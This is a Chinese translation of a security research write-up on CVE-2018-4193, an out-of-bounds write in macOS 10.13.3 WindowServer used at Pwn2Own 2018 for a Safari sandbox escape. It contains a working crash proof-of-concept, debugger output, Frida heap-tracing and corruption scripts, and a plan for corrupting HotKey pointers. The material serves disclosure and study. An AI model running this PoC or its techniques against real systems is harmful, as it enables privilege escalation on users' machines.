原文:https://blog.ret2.io/2018/08/28/pwn2own-2018-sandbox-escape/

作为Pwn2Own 2018系列文章的第六篇,同时也是最后一篇,本文将详实记录为了利用macOS WindowServer漏洞,我们为武器化CVE-2018-4193漏洞所历经的漫长而曲折的道路。作为一种基于内存破坏技术的提权方法(获取root权限),它将以零日漏洞攻击的形式来实现macOS 10.13.3平台的Safari沙箱逃逸。

首先,我们将描述现有漏洞的限制。接着,介绍用于发现与我们的漏洞兼容的破坏目标的工具和技术,然后,详细介绍为Pwn2Own 2018开发的漏洞利用程序。最后,为了回馈安全社区,我们在文章末尾处给出了完整的漏洞利用源码,以便为社区构建出更好的漏洞利用技术增砖添瓦。

利用macOS 10.13.3 WindowServer漏洞提权至root权限的动态演示

POC


上一篇文章中,通过我们的进程内WindowServer fuzzer发现了一个bug,根据我们的推测,这个bug可能会导致一个可利用的越界(OOB)写漏洞。这个漏洞的根本原因是在函数_CGXRegisterForKey()中存在一个典型的有符号/无符号整数比较问题,该函数是macOS WindowServer中的一个mach消息处理程序。

为了更好地研究各种崩溃(或其他异常程序行为)行为,首先要做的事情就是构建可靠且最小化的概念验证(PoC)代码。下面提供的代码是我们为了演示发现的漏洞而构建的最小的独立PoC:

// CVE-2018-4193 Proof-of-Concept by Ret2 Systems, Inc.
// compiled with: clang -framework Foundation -framework Cocoa poc.m -o poc

#import <dlfcn.h>
#import <Cocoa/Cocoa.h>

int (*CGSNewConnection)(int, int *);
int (*SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);

void resolve_symbols()
{
    void *handle_CoreGraphics = dlopen(
        "/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics",
        RTLD_GLOBAL | RTLD_NOW
    );
    void *handle_SkyLight = dlopen(
        "/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
        RTLD_GLOBAL | RTLD_NOW
    );

    CGSNewConnection = dlsym(handle_CoreGraphics, "CGSNewConnection");
    SLPSRegisterForKeyOnConnection = dlsym(handle_SkyLight, "SLPSRegisterForKeyOnConnection");

    dlclose(handle_CoreGraphics);
    dlclose(handle_SkyLight);
}

int main()
{
    int cid = 0;
    uint32_t result = 0;

    printf("[+] Resolving symbols...\n");
    resolve_symbols();

    printf("[+] Registering with WindowServer...\n");
    NSApplicationLoad();

    result = CGSNewConnection(0, &cid);
    if(result == 1000)
    {
        printf("[-] WindowServer not yet initialized... \n");
        return 1;
    }

    ProcessSerialNumber psn;
    psn.highLongOfPSN = 1;
    psn.lowLongOfPSN = getpid();

    printf("[+] Triggering the bug...\n");
    uint32_t BUG = 0x80000000 | 0x41414141;
    result = SLPSRegisterForKeyOnConnection(cid, &psn, BUG, 1);

    return 0;
}

除了完成与WindowServer通信所需的自举操作之外,这个PoC的功能实际上非常简单:只是调用由SkyLight私有框架导出的函数SLPSRegisterForKeyOnConnection(),而该函数中包含一个恶意构造的参数,该参数名为BUG。

当从用户进程调用SLPSRegisterForKeyOnConnection()时,mach_msg将通过machi IPC发送到WindowServer,其中的消息是由错误处理程序_XRegisterForKey()进行处理的。这是一个我们可以从Safari的沙箱化(但遭到破坏)的实例中自由调用的API:

Safari和WindowServer之间的Mach IPC的高级描述

如果以非特权用户身份编译和运行该PoC的话,会使作为root级别的系统服务在Safari Sandbox外部运行的WindowServer立即崩溃:

markus-mac-vm:poc user$ clang -framework Foundation -framework Cocoa poc.m -o poc
markus-mac-vm:poc user$ ./poc
[+] Registering with WindowServer...
[+] Resolving symbols...
[+] Triggering the bug...

我们的新PoC导致的崩溃反映了我们在前一篇文章中重放位翻转时看到的情况。并且,导致崩溃的越界读取漏洞,在适当条件下可能引发越界写入漏洞。

Process 77180 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8)
    frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214
SkyLight`_CGXRegisterForKey:
->  0x7fff55c6f677 <+214>: mov    rax, qword ptr [rcx + 8*r13 + 0x8]
    0x7fff55c6f67c <+219>: test   rax, rax
    0x7fff55c6f67f <+222>: je     0x7fff55c6f6e9            ; <+328>
    0x7fff55c6f681 <+224>: xor    ecx, ecx
Target 0: (WindowServer) stopped.

在下一节中,我们将讨论使这个WindowServer漏洞难以利用的一些约束因素。

该漏洞的约束条件


乍一看,这个漏洞似乎很适合利用:这是一个相对较浅的错误(易于触发),并可以通过完全处于我们的控制之下的越界索引来提供粗略的写入功能。但是,我们只能做到指定恶意索引,却无法真正控制将要写入的数据:

在攻击者控制的越界索引处可能会写入未知值(r15,ecx)

通过仔细研究完成写操作的代码路径,我们发现它受到以下特性的约束:

  1. 写入操作是“粗略的”,因为它是24字节对齐的(例如,index*24)
  2. 要想触发写入操作的代码路径,必须满足两个先决条件(约束)
  3. 我们几乎无法控制待写入的值

第一个特性(24字节对齐)可以通过以下事实来解释:攻击者控制的索引通常用于索引由六个(未知)结构(大小为24字节)组成的数组。不过,这倒不是什么大问题。

事实证明,第二个特性是最令人头疼的,它要求越界索引周围的内存满足执行写操作的某些限制。下面的伪代码图详细描述了这些约束:

这两个约束使得触发越界写入操作变得非常棘手

该漏洞的第三个特性是,我们无法控制写入目标的值。具体来说,这个代码路径通常用于将堆指针存储到未知结构中。同时,这些代码还会直接在指针字段之后存储一个DWORD,而它恰好是我们连接WindowServer的ConnectionID(CID)。

由于这些限制因素的存在,使得为该漏洞寻找有趣且兼容的破坏目标(对象,分配空间)变得非常棘手。

内存的破坏方法


我们的第一种方法是,考察WindowServer及其沙箱可访问的接口,以寻找这样的对象:可以通过为其分配并“揉捏”内存,从而满足触发写入操作所需的约束条件。经过观察,我们确定了一些候选结构,但它们大多无法提供符合要求的相邻字段来供我们破坏。

通过“揉捏”WindowServer对象的内部状态来满足我们的约束条件(橙色)

实际上,这种做法有误导的嫌疑,因为它在实现必要的约束条件着力过多,而很少关注实际上会被破坏的东西。不久之后,我们就放弃了这种策略,转而采用第二种方法。

第二种方法是建立在这样的假设之上的:借助WindowServer堆风水技术,我们将能够在攻击者控制的分配空间之后直接放上我们感兴趣的任意分配空间,从而满足我们的写代码路径所需的约束条件。在对齐后,相邻的分配空间将如下所示:

仔细将攻击者控制的分配空间与受害者的分配空间对齐

如果能够在内存中找到这个阈值,我们就能用越界写入操作来定位这个模式。一旦在该位置成功触发相应的漏洞,就有机会覆盖WindowServer中任意受害者分配空间("感兴趣的"对象)的前4个(或12个)字节:

使用我们的ConnectionID(CID)来破坏相邻分配空间的第一个DWORD

至此,我们还了解到,macOS用户模式的堆实现是基于Hoard分配器的。在Hoard风格的堆中,分配空间之间并没有堆的元数据。由于在堆上的WindowServer对象将相互刷新,因此,我们的跨块破坏活动会变得更加有趣。

基于DBI的漏洞利用


为了提高搜索我们感兴趣的跨块破坏目标的速度,我们再次转向使用动态二进制插桩(DBI)解决方案。再次利用我们上一篇文章中讨论的进程内fuzzer,我们编写了一个新的插桩脚本来模拟针对随机堆分配的跨块内存破坏过程。

第一步是使用Frida跟踪WindowServer堆的分配情况。其中,我们的malloc/realloc挂钩代码是基于现有的Gist的,并进行了相应的修改,使其记录每个分配空间的地址、大小和调用堆栈:

Interceptor.attach(Module.findExportByName(null, 'malloc'),
{
    onEnter: function (args) {
        while (lock == "free" || lock == "realloc") { Thread.sleep(0.0001); }
        lock = "malloc";
        this.m_size = args[0].toInt32();
    },

    onLeave: function (retval) {
        console.log("malloc(" + this.m_size + ") -> " + hexaddr(retval));
        allocations[retval] = this.m_size;
        var callstack = "\n" + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\n") + "\n";
        callstacks[retval] = callstack;
        lock = null;
    }
});

同样地,我们也hooked了用来废除我们跟踪的分配空间的引用的free函数:

Interceptor.attach(Module.findExportByName('libSystem.B.dylib', 'free'),
{
    onEnter: function (args) {
        while (lock == "malloc" || lock == "realloc"){ Thread.sleep(0.0001); }
        lock = "free";
        this.m_ptr = args[0];
    },

    onLeave: function (retval) {
        console.log("free(" + hexaddr(this.m_ptr) + ")");
        delete allocations[this.m_ptr];
        lock = null;
    }
});

在基本的堆跟踪就位之后,最后一步就是模拟跨块破坏过程。

每隔一段随机的时间(约10秒),我们的插桩脚本将停止针对所有处于活动状态的分配空间的调查,并随机破坏少量前述分配空间的第一个DWORD :

function CorruptRandomAllocations() {
    for(var address in allocations) {
        var target = ptr(address)

        // blacklist certain allocations from being corrupted (unusable crashes)
        if(callstacks[target] == undefined) { continue; }
        if(callstacks[target].includes("dlopen")) { continue; }
        if(callstacks[target].includes("Metal")) { continue; }
        // ... more

        // only corrupt some allocations
        if(Math.floor(Math.random() * 25) != 1) { continue; }

        // save the allocation contents before corruption for crash logging
        corrupted_contents[target] = hexdump(target, {
          offset: 0,
          length: allocations[address],
          header: true,
          ansi: false
        });
        corrupted_callstacks[target] = callstacks[target]

        console.log("Corrupting " + hexaddr(address))
        Memory.writeU32(target, 0x4141414F);
    }
}

通过随机破坏分配空间的第一个DWORD,我们预计WindowServer就会以新颖和有趣的方式崩溃。现有的模糊测试工具会记录这些崩溃,以及每次运行时我们破坏的分配空间对应的调用堆栈和内容。

在理想情况下,我们希望能找到一个以指针开头的对象或分配空间,可以将指针部分损坏并指向我们控制的数据。通过在某个对象上强制实现一个悬空指针,则有望得到一个新的、具有较少约束条件的原语。

Tagged Pointer


众所周知,如果攻击者完全控制了悬空Objective-C对象内容的话,他们就可以通过Objective-C方法调用实现代码执行。这在Phrack中已有记载,并且已经被KEEN(以及其他人)利用过了。

但是,在一个奇怪而不幸的巧合中,我们发现在模拟的破坏行为模糊测试期间,我们的部分覆盖值(一个WindowServer ConnectionID)总是设置其最后两位:

在macOS上,总是设置所有mach端口号的最后两位

ConnectionID的最后两位的值似乎是XNU mach端口创建代码中的屏蔽操作的产物。对于设置的mach端口的最后两位的值,我们至今没有发现它们与已定义的功能有任何关联,所以,我们认为这很可能是一个bug,尽管是无害的。

问题是,在Objective-C/CoreFoundation内部,“指针”的底部位表示它是否应该作为可以解除引用的实际内存指针处理,还是应该作为一个内嵌对象数据的"Tagged Pointer”来对待。在使用我们的跨块原语部分破坏Objective-C指针的时候,总是会将其转换为Tagged Pointer:

使用WindowServer ConnectionID部分覆盖Objective-C指针

我们一旦设置了最底部的位,就会从根本上改变Objective-C运行时对“指针”(现在是内联对象)的处理方式。仅这一点就使悬空objc_msgSend()技术无法通过简单的跨块破坏来实现代码执行。

从这时起,我们才开始认识到,这个漏洞利用起来极不稳定。由于没有其他方法可以在不进行对齐的情况下执行写入操作,因此,我们不得不将破坏对象锁定为非CoreFoundation指针。

HotKey对象


回到我们模拟内存破坏“模糊测试”所导致的崩溃,我们发现,WindowServer HotKey对象可以作为跨块破坏目标的候选分配空间。

在macOS上,WindowServer似乎负责管理正在运行的应用程序所注册的热键。在系统内部,WindowServer HotKey对象是以链接列表的形式进行维护的。HotKey结构的第一个字段,恰好就是指向先前创建的热键(即hotkey->next)的指针。

(lldb) x/30gx 0x7fd186200ba0
0x7fd186200ba0: 0x00007fd15cfa8730 0x00007fd1f7d1f590 \
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134  \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000   +- HotKey object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730  /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /

通过在攻击者控制的分配空间之后紧跟一个HotKey的分配空间,就能够通过我们的ConnectionID来破坏其hotkey->next指针低位的四个字节。通过堆喷射技术,这些遭到部分破坏的指针就会指向攻击者控制的数据了:

通过破坏HotKey对象的第一个DWORD,可以创建一个指向攻击者控制的数据的悬空指针

最重要的是,SkyLight已经公开了许多用来添加、删除、查看或操作HotKey对象的各个字段的API。利用这些API,我们就能够通过悬空HotKey来“泄漏”数据,或者通过位翻转,以一种更不受约束的方式来进一步破坏WindowServer堆:

众多已公开的WindowServer函数,它们都可以用于HotKey对象

经过一番思考之后,最终确立了一个自认为可行(但复杂)的路径,以便快速实现代码执行,毕竟当时是在参加Pwn2Own大赛。该漏洞利用过程需要借助多次堆喷射、极具风险的跨块堆破坏以及极其精确的位翻转。所以,这条路注定充满了艰难险阻,但我们相信,幸运之神定会眷顾勇者。

小结


在本文中,我们首先提供了相应的POC,并介绍了现有漏洞的限制。接着,介绍用于发现与我们的漏洞兼容的破坏目标的工具和技术,在本文的下篇中,我们将为读者详细介绍为Pwn2Own 2018所开发的漏洞利用程序。

源链接

Hacking more

...